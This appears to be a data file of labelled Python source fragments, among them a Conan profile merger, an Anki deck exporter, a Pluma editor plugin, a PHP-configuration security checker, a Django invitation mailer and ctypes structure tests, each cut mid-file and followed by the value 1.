result.append(""%s: %s"" % (pattern, "", "".join(str(r) for r in req_list))) result.append(""[env]"") result.append(self.env_values.dumps()) return ""\n"".join(result).replace(""\n\n"", ""\n"") def update(self, other): self.update_settings(other.settings) self.update_package_settings(other.package_settings) # this is the opposite other.env_values.update(self.env_values) self.env_values = other.env_values self.options.update(other.options) for pattern, req_list in other.build_requires.items(): self.build_requires.setdefault(pattern, []).extend(req_list) def update_settings(self, new_settings): """"""Mix the specified settings with the current profile. Specified settings are prioritized to profile"""""" assert(isinstance(new_settings, OrderedDict)) # apply the current profile res = copy.copy(self.settings) if new_settings: # Invalidate the current subsettings if the parent setting changes # Example: new_settings declare a different ""compiler"", so invalidate the current ""compiler.XXX"" for name, value in new_settings.items(): if ""."" not in name: if name in self.settings and self.settings[name] != value: for cur_name, _ in self.settings.items(): if cur_name.startswith(""%s."" % name): del res[cur_name] # Now merge the new values res.update(new_settings) self.settings = res def update_package_settings(self, package_settings): """"""Mix the specified package settings with the specified profile. Specified package settings are prioritized to profile"""""" for package_name, settings in package_settings.items(): self.package_settings[package_name].update(settings) ",1 ") # /base/lib/here tmp_path = tmp_path.split('/') conf_path = '/'.join(tmp_path[0:-1]) # /base/lib tmp_conf.read(conf_path+'/ampush.conf') c = {} c.update(tmp_conf.items('default')) # select target AD container: default or user-specified with --mode? if argp.a['mode'] is not None: try: container_conf_key = 'am_container_' + argp.a['mode'] c['am_container'] = c[container_conf_key] except KeyError: log_msg = 'Terminating. No such parameter in ampush.conf: ' + \ container_conf_key raise Exception(log_msg) else: c['am_container'] = c['am_container_default'] # select alternate flat file automount maps: default or user-specified # set passed via --source? if argp.a['source'] is not None: try: ff_map_dir_conf_key = 'flat_file_map_dir_' + argp.a['source'] c['flat_file_map_dir'] = c[ff_map_dir_conf_key] except KeyError: log_msg = 'Terminating. No such parameter in ampush.conf: ' + \ ff_map_dir_conf_key raise Exception(log_msg) else: c['flat_file_map_dir'] = c['flat_file_map_dir_default'] ",1 "ck.marcia@gmail.com) # import pluma, gobject, gtk, os from zen_editor import ZenEditor zencoding_ui_str = """""" """""" class ZenCodingPlugin(pluma.Plugin): """"""A Pluma plugin to implement Zen Coding's HTML and CSS shorthand expander."""""" def activate(self, window): actions = [ ('ZenCodingMenuAction', None, '_Zen Coding', None, ""Zen Coding tools"", None), ('ZenCodingExpandAction', None, '_Expand abbreviation', 'E', ""Expand abbreviation to raw HTML/CSS"", self.expand_abbreviation), ('ZenCodingExpandWAction', None, 'E_xpand dynamic abbreviation...', 'E', ""Dynamically expand abbreviation as you type"", self.expand_with_abbreviation), ('ZenCodingWrapAction', None, '_Wrap with abbreviation...', 'E', ""Wrap with code expanded from abbreviation"", self.wrap_with_abbreviation), ('ZenCodingInwardAction', None, 'Balance tag _inward', 'I', ""Select inner tag's content"", self.match_pair_inward), ('ZenCodingOutwardAction', None, 'Balance tag _outward', 'O', ""Select outer tag's content"", self.match_pair_outward), ('ZenCodingMergeAction', None, '_Merge lines', 'M', ""Merge all lines of the current selection"", self.merge_lines), ('ZenCodingPrevAction', None, '_Previous edit point', 'Left', ""Place the cursor at the previous edit point"", self.prev_edit_point), ('ZenCodingNextAction', None, '_Next edit point', 'Right', ""Place the cursor at the next edit point"", self.next_edit_point), ('ZenCodingRemoveAction', None, '_Remove tag', 'R', ""Remove a tag"", self.remove_tag), ('ZenCodingSplitAction', None, 'Split or _join tag', 'J', ""Toggle between single and double tag"", self.split_join_tag), ('ZenCodingCommentAction', None, 'Toggle _comment', 'C', ""Toggle an XML or HTML comment"", self.toggle_comment) ] windowdata = dict() window.set_data(""ZenCodingPluginDataKey"", windowdata) windowdata[""action_group""] = gtk.ActionGroup(""PlumaZenCodingPluginActions"") windowdata[""action_group""].add_actions(actions, window) manager = window.get_ui_manager() manager.insert_action_group(windowdata[""action_group""], -1) windowdata[""ui_id""] = manager.add_ui_from_string(zencoding_ui_str) window.set_data(""ZenCodingPluginInfo"", windowdata) self.editor = ZenEditor() error = self.editor.get_user_settings_error() if error: md = gtk.MessageDialog(window, gtk.DIALOG_MODAL, gtk.MESSAGE_ERROR, gtk.BUTTONS_CLOSE, ""There is an error in user settings:"") message = ""{0} on line {1} at character {2}\n\nUser settings will not be available."" md.set_title(""Zen Coding error"") md.format_secondary_text(message.format(error['msg'], error['lineno'], error['offset'])) md.run() md.destroy() def deactivate(self, window): windowdata = window.get_data(""ZenCodingPluginDataKey"") manager = window.get_ui_manager() manager.remove_ui(windowdata[""ui_id""]) manager.remove_action_group(windowdata[""action_group""]) def update_ui(self, window): view = window.get_active_view() windowdata = window.get_data(""ZenCodingPluginDataKey"") windowdata[""action_group""].set_sensitive(bool(view and view.get_editable())) def expand_abbreviation(self, action, window): self.editor.expand_abbreviation(window) def expand_with_abbreviation(self, action, window): self.editor.expand_with_abbreviation(window) def wrap_with_abbreviation(self, action, window): self.editor.wrap_with_abbreviation(window) def match_pair_inward(self, action, window): self.editor.match_pair_inward(window) def match_pair_outward(self, action, window): self.editor.match_pair_outward(window) def merge_lines(self, action, window): self.editor.merge_lines(window) def prev_edit_point(self, action, window): self.editor.prev_edit_point(window) def next_edit_point(self, action, window): self.editor.next_edit_point(window) def remove_tag(self, action, window): self.editor.remove_tag(window) def split_join_tag(self, action, window): self.editor.split_join_tag(window) def toggle_comment(self, action, window): self.editor.toggle_comment(window) ",1 "3 or later; # http://www.gnu.org/licenses/agpl.html import os import re import shutil import zipfile from . import Collection from .hooks import runHook from .lang import _ from .utils import ids2str, json, splitFields class Exporter(object): def __init__(self, col, did=None): self.col = col self.did = did def exportInto(self, path): self._escapeCount = 0 file = open(path, ""wb"") self.doExport(file) file.close() def escapeText(self, text): ""Escape newlines, tabs, CSS and quotechar."" text = text.replace(""\n"", ""
"") text = text.replace(""\t"", "" "" * 8) text = re.sub(""(?i)"", """", text) if ""\"""" in text: text = ""\"""" + text.replace(""\"""", ""\""\"""") + ""\"""" return text def cardIds(self): if not self.did: cids = self.col.db.list(""select id from cards"") else: cids = self.col.decks.cids(self.did, children=True) self.count = len(cids) return cids # Cards as TSV ###################################################################### class TextCardExporter(Exporter): key = _(""Cards in Plain Text"") ext = "".txt"" hideTags = True def __init__(self, col): Exporter.__init__(self, col) def doExport(self, file): ids = sorted(self.cardIds()) # strids = ids2str(ids) def esc(s): # strip off the repeated question in answer if exists s = re.sub(""(?si)^.*
\n*"", """", s) return self.escapeText(s) out = """" for cid in ids: c = self.col.getCard(cid) out += esc(c.q()) out += ""\t"" + esc(c.a()) + ""\n"" file.write(out.encode(""utf-8"")) # Notes as TSV ###################################################################### class TextNoteExporter(Exporter): key = _(""Notes in Plain Text"") ext = "".txt"" def __init__(self, col): Exporter.__init__(self, col) self.includeID = False self.includeTags = True def doExport(self, file): cardIds = self.cardIds() data = [] for id, flds, tags in self.col.db.execute("""""" select guid, flds, tags from notes where id in (select nid from cards where cards.id in %s)"""""" % ids2str(cardIds)): row = [] # note id if self.includeID: row.append(str(id)) # fields row.extend([self.escapeText(f) for f in splitFields(flds)]) # tags if self.includeTags: row.append(tags.strip()) data.append(""\t"".join(row)) self.count = len(data) out = ""\n"".join(data) file.write(out.encode(""utf-8"")) # Anki decks ###################################################################### # media files are stored in self.mediaFiles, but not exported. class AnkiExporter(Exporter): key = _(""Anki 2.0 Deck"") ext = "".anki2"" def __init__(self, col): Exporter.__init__(self, col) self.includeSched = False self.includeMedia = True def exportInto(self, path): # create a new collection at the target try: os.unlink(path) except (IOError, OSError): pass self.dst = Collection(path) self.src = self.col # find cards if not self.did: cids = self.src.db.list(""select id from cards"") else: cids = self.src.decks.cids(self.did, children=True) # copy cards, noting used nids nids = {} data = [] for row in self.src.db.execute( ""select * from cards where id in "" + ids2str(cids)): nids[row[1]] = True data.append(row) self.dst.db.executemany( ""insert into cards values (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)"", data) # notes strnids = ids2str(list(nids.keys())) notedata = [] for row in self.src.db.all( ""select * from notes where id in ""+strnids): # remove system tags if not exporting scheduling info if not self.includeSched: row = list(row) row[5] = self.removeSystemTags(row[5]) notedata.append(row) self.dst.db.executemany( ""insert into notes values (?,?,?,?,?,?,?,?,?,?,?)"", notedata) # models used by the notes mids = self.dst.db.list( ""select distinct mid from notes where id in "" + strnids) # card history and revlog if self.includeSched: data = self.src.db.all( ""select * from revlog where cid in "" + ids2str(cids)) self.dst.db.executemany( ""insert into revlog values (?,?,?,?,?,?,?,?,?)"", data) else: # need to reset card state self.dst.sched.resetCards(cids) # models - start with zero self.dst.models.models = {} for m in self.src.models.all(): if int(m['id']) in mids: self.dst.models.update(m) # decks if not self.did: dids = [] else: dids = [self.did] + [ x[1] for x in self.src.decks.children(self.did)] dconfs = {} for d in self.src.decks.all(): if str(d['id']) == ""1"": continue if dids and d['id'] not in dids: continue if not d['dyn'] and d['conf'] != 1: if self.includeSched: dconfs[d['conf']] = True if not self.includeSched: # scheduling not included, so reset deck settings to default d = dict(d) d['conf'] = 1 self.dst.decks.update(d) # copy used deck confs for dc in self.src.decks.allConf(): if dc['id'] in dconfs: self.dst.decks.updateConf(dc) # find used media media = {} self.mediaDir = self.src.media.dir() if self.includeMedia: for row in notedata: flds = row[6] mid = row[2] for file in self.src.media.filesInStr(mid, flds): media[file] = True if self.mediaDir: for fname in os.listdir(self.mediaDir): if fname.startswith(""_""): media[fname] = True self.mediaFiles = list(media.keys()) self.dst.crt = self.src.crt # todo: tags? self.count = self.dst.cardCount() self.dst.setMod() self.postExport() self.dst.close() def postExport(self): # overwrite to apply customizations to the deck before it's closed, # such as update the deck description pass def removeSystemTags(self, tags): return self.src.tags.remFromStr(""marked leech"", tags) # Packaged Anki decks ###################################################################### class AnkiPackageExporter(AnkiExporter): key = _(""Anki Deck Package"") ext = "".apkg"" def __init__(self, col): AnkiExporter.__init__(self, col) def exportInto(self, path): # open a zip file z = zipfile.ZipFile(path, ""w"", zipfile.ZIP_DEFLATED) # if all decks and scheduling included, full export if self.includeSched and not self.did: media = self.exportVerbatim(z) else: # otherwise, filter media = self.exportFiltered(z, path) # media map z.writestr(""media"", json.dumps(media)) z.close() def exportFiltered(self, z, path): # export into the anki2 file colfile = path.replace("".apkg"", "".anki2"") AnkiExporter.exportInto(self, colfile) z.write(colfile, ""collection.anki2"") # and media self.prepareMedia() media = {} for c, file in enumerate(self.mediaFiles): c = str(c) mpath = os.path.join(self.mediaDir, file) if os.path.exists(mpath): z.write(mpath, c) media[c] = file # tidy up intermediate files os.unlink(colfile) p = path.replace("".apkg"", "".media.db2"") if os.path.exists(p): os.unlink(p) os.chdir(self.mediaDir) shutil.rmtree(path.replace("".apkg"", "".media"")) return media def exportVerbatim(self, z): # close our deck & write it into the zip file, and reopen self.count = self.col.cardCount() self.col.close() z.write(self.col.path, ""collection.anki2"") self.col.reopen() # copy all media if not self.includeMedia: return {} media = {} mdir = self.col.media.dir() for c, file in enumerate(os.listdir(mdir)): c = str(c) mpath = os.path.join(mdir, file) if os.path.exists(mpath): z.write(mpath, c) media[c] = file return media def prepareMedia(self): # chance to move each file in self.mediaFiles into place before media # is zipped up pass # Export modules ########################################################################## def exporters(): def id(obj): return (""%s (*%s)"" % (obj.key, obj.ext), obj) exps = [ id(AnkiPackageExporter), id(TextNoteExporter), id(TextCardExporter), ] runHook(""exportersList"", exps) return exps ",1 "_num from misc import is_number # info baseurl = 'http://phya.snu.ac.kr/xe/underbbs/' url ='http://phya.snu.ac.kr/xe/index.php?mid=underbbs&category=372' # notices + general f = open('srl_notices.txt','r') num_notices = f.read().split(',') f.close() g = open('srl_general.txt','r') num_general = g.read().split(',') g.close() g = open('srl_general.txt','a') response = urllib.request.urlopen(url) data = response.read() text = data.decode('utf-8') count_new = 0 srl_arr_general = [] text_splitted = text.split('document_srl=') for i in range(1,len(text_splitted)): srl = text_splitted[i].split('"">')[0].split('#comment')[0] if(is_number(srl)): if(srl not in num_notices and srl not in srl_arr_general): # second statement : to prevent duplication srl_arr_general.append(srl) if(srl not in num_general): count_new += 1 g.write(',' + srl) print('New post found : ' + srl) g.close() if(count_new != 0): print('Started generating feed...') # make FeedGenerator fg = FeedGenerator() fg.id('asdf') fg.title('SNU Physics Board RSS feed - general') fg.author({'name':'Seungwon Park','email':'yyyyy at snu dot ac dot kr'}) fg.link(href='asdf') fg.subtitle('SNU Physics Board RSS - general') fg.language('ko') for srl in srl_arr_general: print('Parsing post #' + srl + '...') fe = fg.add_entry() fe.id(baseurl + srl) fe.title(post_title(srl)) fe.author({'name':post_author(srl),'email':'unknown'}) fe.link(href = baseurl + srl) atomfeed = fg.atom_str(pretty=True) fg.atom_file('general.xml') print('Added ' + str(count_new) + ' posts to feed.') else: print('Posts are up-to-date.')",1 "u can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # import os import ConfigParser import HnTool.modules.util from HnTool.modules.rule import Rule as MasterRule class Rule(MasterRule): def __init__(self, options): MasterRule.__init__(self, options) self.short_name=""php"" self.long_name=""Checks security problems on php config file"" self.type=""config"" self.required_files = ['/etc/php5/apache2/php.ini', '/etc/php5/cli/php.ini', '/etc/php.ini'] def requires(self): return self.required_files def analyze(self, options): check_results = self.check_results conf_files = self.required_files for php_conf in conf_files: if os.path.isfile(php_conf): config = ConfigParser.ConfigParser() try: config.read(php_conf) except ConfigParser.ParsingError, (errno, strerror): check_results['info'].append('Could not parse %s: %s' % (php_conf, strerror)) continue if not config.has_section('PHP'): check_results['info'].append('%s is not a PHP config file' % (php_conf)) continue if config.has_option('PHP', 'register_globals'): rg = config.get('PHP', 'register_globals').lower() if rg == 'on': check_results['medium'].append('Register globals is on (%s)' % (php_conf)) elif rg == 'off': check_results['ok'].append('Register globals is off (%s)' % (php_conf)) else: check_results['info'].append('Unknown value for register globals (%s)' % (php_conf)) else: check_results['info'].append('Register globals not found (%s)' % (php_conf)) if config.has_option('PHP', 'safe_mode'): sm = config.get('PHP', 'safe_mode').lower() if sm == 'on': check_results['low'].append('Safe mode is on (fake security) (%s)' % (php_conf)) elif sm == 'off': check_results['info'].append('Safe mode is off (%s)' % (php_conf)) else: check_results['info'].append('Unknown value for safe mode (%s)' % (php_conf)) else: check_results['info'].append('Safe mode not found (%s)' % (php_conf)) if config.has_option('PHP', 'display_errors'): de = config.get('PHP', 'display_errors').lower() if de == 'on': check_results['medium'].append('Display errors is on (stdout) (%s)' % (php_conf)) elif de == 'off': check_results['ok'].append('Display errors is off (%s)' % (php_conf)) elif de == 'stderr': check_results['info'].append('Display errors set to stderr (%s)' % (php_conf)) else: check_results['info'].append('Unknown value for display errors (%s)' % (php_conf)) else: check_results['info'].append('Display errors not found (%s)' % (php_conf)) if config.has_option('PHP', 'expose_php'): ep = config.get('PHP', 'expose_php').lower() if ep == 'on': check_results['low'].append('Expose PHP is on (%s)' % (php_conf)) elif ep == 'off': check_results['ok'].append('Expose PHP is off (%s)' % (php_conf)) else: check_results['info'].append('Unknown value for expose PHP (%s)' % (php_conf)) else: check_results['info'].append('Expose PHP not found (%s)' % (php_conf)) return check_results ",1 "cept in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from .inventory import ( GetInventoryRequest, Inventory, ListInventoriesRequest, ListInventoriesResponse, InventoryView, ) from .os_policy import OSPolicy from .os_policy_assignment_reports import ( GetOSPolicyAssignmentReportRequest, ListOSPolicyAssignmentReportsRequest, ListOSPolicyAssignmentReportsResponse, OSPolicyAssignmentReport, ) from .os_policy_assignments import ( CreateOSPolicyAssignmentRequest, DeleteOSPolicyAssignmentRequest, GetOSPolicyAssignmentRequest, ListOSPolicyAssignmentRevisionsRequest, ListOSPolicyAssignmentRevisionsResponse, ListOSPolicyAssignmentsRequest, ListOSPolicyAssignmentsResponse, OSPolicyAssignment, OSPolicyAssignmentOperationMetadata, UpdateOSPolicyAssignmentRequest, ) from .osconfig_common import FixedOrPercent from .patch_deployments import ( CreatePatchDeploymentRequest, DeletePatchDeploymentRequest, GetPatchDeploymentRequest, ListPatchDeploymentsRequest, ListPatchDeploymentsResponse, MonthlySchedule, OneTimeSchedule, PatchDeployment, PausePatchDeploymentRequest, RecurringSchedule, ResumePatchDeploymentRequest, UpdatePatchDeploymentRequest, WeekDayOfMonth, WeeklySchedule, ) from .patch_jobs import ( AptSettings, CancelPatchJobRequest, ExecStep, ExecStepConfig, ExecutePatchJobRequest, GcsObject, GetPatchJobRequest, GooSettings, Instance, ListPatchJobInstanceDetailsRequest, ListPatchJobInstanceDetailsResponse, ListPatchJobsRequest, ListPatchJobsResponse, PatchConfig, PatchInstanceFilter, PatchJob, PatchJobInstanceDetails, PatchRollout, WindowsUpdateSettings, YumSettings, ZypperSettings, ) from .vulnerability import ( CVSSv3, GetVulnerabilityReportRequest, ListVulnerabilityReportsRequest, ListVulnerabilityReportsResponse, VulnerabilityReport, ) __all__ = ( ""GetInventoryRequest"", ""Inventory"", ""ListInventoriesRequest"", ""ListInventoriesResponse"", ""InventoryView"", ""OSPolicy"", ""GetOSPolicyAssignmentReportRequest"", ""ListOSPolicyAssignmentReportsRequest"", ""ListOSPolicyAssignmentReportsResponse"", ""OSPolicyAssignmentReport"", ""CreateOSPolicyAssignmentRequest"", ""DeleteOSPolicyAssignmentRequest"", ""GetOSPolicyAssignmentRequest"", ""ListOSPolicyAssignmentRevisionsRequest"", ""ListOSPolicyAssignmentRevisionsResponse"", ""ListOSPolicyAssignmentsRequest"", ""ListOSPolicyAssignmentsResponse"", ""OSPolicyAssignment"", ""OSPolicyAssignmentOperationMetadata"", ""UpdateOSPolicyAssignmentRequest"", ""FixedOrPercent"", ""CreatePatchDeploymentRequest"", ""DeletePatchDeploymentRequest"", ""GetPatchDeploymentRequest"", ""ListPatchDeploymentsRequest"", ""ListPatchDeploymentsResponse"", ""MonthlySchedule"", ""OneTimeSchedule"", ""PatchDeployment"", ""PausePatchDeploymentRequest"", ""RecurringSchedule"", ""ResumePatchDeploymentRequest"", ""UpdatePatchDeploymentRequest"", ""WeekDayOfMonth"", ""WeeklySchedule"", ""AptSettings"", ""CancelPatchJobRequest"", ""ExecStep"", ""ExecStepConfig"", ""ExecutePatchJobRequest"", ""GcsObject"", ""GetPatchJobRequest"", ""GooSettings"", ""Instance"", ""ListPatchJobInstanceDetailsRequest"", ""ListPatchJobInstanceDetailsResponse"", ""ListPatchJobsRequest"", ""ListPatchJobsResponse"", ""PatchConfig"", ""PatchInstanceFilter"", ""PatchJob"", ""PatchJobInstanceDetails"", ""PatchRollout"", ""WindowsUpdateSettings"", ""YumSettings"", ""ZypperSettings"", ""CVSSv3"", ""GetVulnerabilityReportRequest"", ""ListVulnerabilityReportsRequest"", ""ListVulnerabilityReportsResponse"", ""VulnerabilityReport"", ) ",1 "ternatives from django.template.loader import get_template from django.utils import timezone from invitations.models import Invitation logger = logging.getLogger('email') sentry = logging.getLogger('sentry') def send_invite(message): try: invite = Invitation.objects.get( id=message.get('id'), status__in=[Invitation.PENDING, Invitation.ERROR], ) except Invitation.DoesNotExist: sentry.error(""Invitation to send not found"", exc_info=True, extra={'message': message}) return invite.status = Invitation.PROCESSING invite.save() context = { 'invite': invite, 'domain': Site.objects.get_current().domain, } subject = ""[ContactOtter] Invitation to join ContactOtter from %s"" % (invite.sender) if invite.book: subject = ""[ContactOtter] Invitation to share %s's contact book"" % (invite.sender) txt = get_template('email/invitation.txt').render(context) html = get_template('email/invitation.html').render(context) try: message = EmailMultiAlternatives( subject=subject, body=txt, from_email=""ContactOtter "", to=[invite.email,], ) message.attach_alternative(html, ""text/html"") message.send() invite.status = Invitation.SENT invite.sent = timezone.now() invite.save() except: sentry.exception('Problem sending invite', exc_info=True, extra={'invite_id': invite.id}) invite.status = Invitation.ERROR invite.save() ",1 "): class X(Structure): _fields_ = [(""a"", c_int)] class Y(X): _fields_ = [(""b"", c_int)] class Z(X): pass self.assertEqual(sizeof(X), sizeof(c_int)) self.assertEqual(sizeof(Y), sizeof(c_int)*2) self.assertEqual(sizeof(Z), sizeof(c_int)) self.assertEqual(X._fields_, [(""a"", c_int)]) self.assertEqual(Y._fields_, [(""b"", c_int)]) self.assertEqual(Z._fields_, [(""a"", c_int)]) def test_subclass_delayed(self): class X(Structure): pass self.assertEqual(sizeof(X), 0) X._fields_ = [(""a"", c_int)] class Y(X): pass self.assertEqual(sizeof(Y), sizeof(X)) Y._fields_ = [(""b"", c_int)] class Z(X): pass self.assertEqual(sizeof(X), sizeof(c_int)) self.assertEqual(sizeof(Y), sizeof(c_int)*2) self.assertEqual(sizeof(Z), sizeof(c_int)) self.assertEqual(X._fields_, [(""a"", c_int)]) self.assertEqual(Y._fields_, [(""b"", c_int)]) self.assertEqual(Z._fields_, [(""a"", c_int)]) class StructureTestCase(unittest.TestCase): formats = {""c"": c_char, ""b"": c_byte, ""B"": c_ubyte, ""h"": c_short, ""H"": c_ushort, ""i"": c_int, ""I"": c_uint, ""l"": c_long, ""L"": c_ulong, ""q"": c_longlong, ""Q"": c_ulonglong, ""f"": c_float, ""d"": c_double, } def test_simple_structs(self): for code, tp in self.formats.items(): class X(Structure): _fields_ = [(""x"", c_char), (""y"", tp)] self.assertEqual((sizeof(X), code), (calcsize(""c%c0%c"" % (code, code)), code)) def test_unions(self): for code, tp in self.formats.items(): class X(Union): _fields_ = [(""x"", c_char), (""y"", tp)] self.assertEqual((sizeof(X), code), (calcsize(""%c"" % (code)), code)) def test_struct_alignment(self): class X(Structure): _fields_ = [(""x"", c_char * 3)] self.assertEqual(alignment(X), calcsize(""s"")) self.assertEqual(sizeof(X), calcsize(""3s"")) class Y(Structure): _fields_ = [(""x"", c_char * 3), (""y"", c_int)] self.assertEqual(alignment(Y), calcsize(""i"")) self.assertEqual(sizeof(Y), calcsize(""3si"")) class SI(Structure): _fields_ = [(""a"", X), (""b"", Y)] self.assertEqual(alignment(SI), max(alignment(Y), alignment(X))) self.assertEqual(sizeof(SI), calcsize(""3s0i 3si 0i"")) class IS(Structure): _fields_ = [(""b"", Y), (""a"", X)] self.assertEqual(alignment(SI), max(alignment(X), alignment(Y))) self.assertEqual(sizeof(IS), calcsize(""3si 3s 0i"")) class XX(Structure): _fields_ = [(""a"", X), (""b"", X)] self.assertEqual(alignment(XX), alignment(X)) self.assertEqual(sizeof(XX), calcsize(""3s 3s 0s"")) def test_emtpy(self): # I had problems with these # # Although these are patological cases: Empty Structures! class X(Structure): _fields_ = [] class Y(Union): _fields_ = [] # Is this really the correct alignment, or should it be 0? self.assertTrue(alignment(X) == alignment(Y) == 1) self.assertTrue(sizeof(X) == sizeof(Y) == 0) class XX(Structure): _fields_ = [(""a"", X), (""b"", X)] self.assertEqual(alignment(XX), 1) self.assertEqual(sizeof(XX), 0) def test_fields(self): # test the offset and size attributes of Structure/Unoin fields. class X(Structure): _fields_ = [(""x"", c_int), (""y"", c_char)] self.assertEqual(X.x.offset, 0) self.assertEqual(X.x.size, sizeof(c_int)) self.assertEqual(X.y.offset, sizeof(c_int)) self.assertEqual(X.y.size, sizeof(c_char)) # readonly self.assertRaises((TypeError, AttributeError), setattr, X.x, ""offset"", 92) self.assertRaises((TypeError, AttributeError), setattr, X.x, ""size"", 92) class X(Union): _fields_ = [(""x"", c_int), (""y"", c_char)] self.assertEqual(X.x.offset, 0) self.assertEqual(X.x.size, sizeof(c_int)) self.assertEqual(X.y.offset, 0) self.assertEqual(X.y.size, sizeof(c_char)) # readonly self.assertRaises((TypeError, AttributeError), setattr, X.x, ""offset"", 92) self.assertRaises((TypeError, AttributeError), setattr, X.x, ""size"", 92) # XXX Should we check nested data types also? # offset is always relative to the class... def test_packed(self): class X(Structure): _fields_ = [(""a"", c_byte), (""b"", c_longlong)] _pack_ = 1 self.assertEqual(sizeof(X), 9) self.assertEqual(X.b.offset, 1) class X(Structure): _fields_ = [(""a"", c_byte), (""b"", c_longlong)] _pack_ = 2 self.assertEqual(sizeof(X), 10) self.assertEqual(X.b.offset, 2) class X(Structure): _fields_ = [(""a"", c_byte), (""b"", c_longlong)] _pack_ = 4 self.assertEqual(sizeof(X), 12) self.assertEqual(X.b.offset, 4) import struct longlong_size = struct.calcsize(""q"") longlong_align = struct.calcsize(""bq"") - longlong_size class X(Structure): _fields_ = [(""a"", c_byte), (""b"", c_longlong)] _pack_ = 8 self.assertEqual(sizeof(X), longlong_align + longlong_size) self.assertEqual(X.b.offset, min(8, longlong_align)) d = {""_fields_"": [(""a"", ""b""), (""b"", ""q"")], ""_pack_"": -1} self.assertRaises(ValueError, type(Structure), ""X"", (Structure,), d) # Issue 15989 d = {""_fields_"": [(""a"", c_byte)], ""_pack_"": _testcapi.INT_MAX + 1} self.assertRaises(ValueError, type(Structure), ""X"", (Structure,), d) d = {""_fields_"": [(""a"", c_byte)], ""_pack_"": _testcapi.UINT_MAX + 2} self.assertRaises(ValueError, type(Structure), ""X"", (Structure,), d) def test_initializers(self): class Person(Structure): _fields_ = [(""name"", c_char*6), (""age"", c_int)] self.assertRaises(TypeError, Person, 42) self.assertRaises(ValueError, Person, b""asldkjaslkdjaslkdj"") self.assertRaises(TypeError, Person, ""Name"", ""HI"") # short enough self.assertEqual(Person(b""12345"", 5).name, b""12345"") # exact fit self.assertEqual(Person(b""123456"", 5).name, b""123456"") # too long self.assertRaises(ValueError, Person, b""1234567"", 5) def test_conflicting_initializers(self): class POINT(Structure): _fields_ = [(""x"", c_int), (""y"", c_int)] # conflicting positional and keyword args self.assertRaises(TypeError, POINT, 2, 3, x=4) self.assertRaises(TypeError, POINT, 2, 3, y=4) # too many initializers self.assertRaises(TypeError, POINT, 2, 3, 4) def test_keyword_initializers(self): class POINT(Structure): _fields_ = [(""x"", c_int), (""y"", c_int)] pt = POINT(1, 2) self.assertEqual((pt.x, pt.y), (1, 2)) pt = POINT(y=2, x=1) self.assertEqual((pt.x, pt.y), (1, 2)) def test_invalid_field_types(self): class POINT(Structure): pass self.assertRaises(TypeError, setattr, POINT, ""_fields_"", [(""x"", 1), (""y"", 2)]) def test_invalid_name(self): # field name must be string def declare_with_name(name): class S(Structure): _fields_ = [(name, c_int)] self.assertRaises(TypeError, declare_with_name, b""x"") def test_intarray_fields(self): class SomeInts(Structure): _fields_ = [(""a"", c_int * 4)] # can use tuple to initialize array (but not list!) self.assertEqual(SomeInts((1, 2)).a[:], [1, 2, 0, 0]) self.assertEqual(SomeInts((1, 2)).a[::], [1, 2, 0, 0]) self.assertEqual(SomeInts((1, 2)).a[::-1], [0, 0, 2, 1]) self.assertEqual(SomeInts((1, 2)).a[::2], [1, 0]) self.assertEqual(SomeInts((1, 2)).a[1:5:6], [2]) self.assertEqual(SomeInts((1, 2)).a[6:4:-1], []) self.assertEqual(SomeInts((1, 2, 3, 4)).a[:], [1, 2, 3, 4]) self.assertEqual(SomeInts((1, 2, 3, 4)).a[::], [1, 2, 3, 4]) # too long # XXX Should raise ValueError?, not RuntimeError self.assertRaises(RuntimeError, SomeInts, (1, 2, 3, 4, 5)) def test_nested_initializers(self): # test initializing nested structures class Phone(Structure): _fields_ = [(""areacode"", c_char*6), (""number"", c_char*12)] class Person(Structure): _fields_ = [(""name"", c_char * 12), (""phone"", Phone), (""age"", c_int)] p = Person(b""Someone"", (b""1234"", b""5678""), 5) self.assertEqual(p.name, b""Someone"") self.assertEqual(p.phone.areacode, b""1234"") self.assertEqual(p.phone.number, b""5678"") self.assertEqual(p.age, 5) def test_structures_with_wchar(self): try: c_wchar except NameError: return # no unicode class PersonW(Structure): _fields_ = [(""name"", c_wchar * 12), (""age"", c_int)] p = PersonW(""Someone \xe9"") self.assertEqual(p.name, ""Someone \xe9"") self.assertEqual(PersonW(""1234567890"").name, ""1234567890"") self.assertEqual(PersonW(""12345678901"").name, ""12345678901"") # exact fit self.assertEqual(PersonW(""123456789012"").name, ""123456789012"") #too long self.assertRaises(ValueError, PersonW, ""1234567890123"") def test_init_errors(self): class Phone(Structure): _fields_ = [(""areacode"", c_char*6), (""number"", c_char*12)] class Person(Structure): _fields_ = [(""name"", c_char * 12), (""phone"", Phone), (""age"", c_int)] cls, msg = self.get_except(Person, b""Someone"", (1, 2)) self.assertEqual(cls, RuntimeError) self.assertEqual(msg, ""(Phone) : "" ""expected string, int found"") cls, msg = self.get_except(Person, b""Someone"", (b""a"", b""b"", b""c"")) self.assertEqual(cls, RuntimeError) if issubclass(Exception, object): self.assertEqual(msg, ""(Phone) : too many initializers"") else: self.assertEqual(msg, ""(Phone) TypeError: too many initializers"") def test_huge_field_name(self): # issue12881: segfault with large structure field names def create_class(length): class S(Structure): _fields_ = [('x' * length, c_int)] for length in [10 ** i for i in range(0, 8)]: try: create_class(length) except MemoryError: # MemoryErrors are OK, we just don't want to segfault pass def get_except(self, func, *args): try: func(*args) except Exception as detail: return detail.__class__, str(detail) ## def test_subclass_creation(self): ## meta = type(Structure) ## # same as 'class X(Structure): pass' ## # fails, since we need either a _fields_ or a _abstract_ attribute ## cls, msg = self.get_except(meta, ""X"", (Structure,), {}) ## self.assertEqual((cls, msg), ## (AttributeError, ""class must define a '_fields_' attribute"")) def test_abstract_class(self): class X(Structure): _abstract_ = ""something"" # try 'X()' cls, msg = self.get_except(eval, ""X()"", locals()) 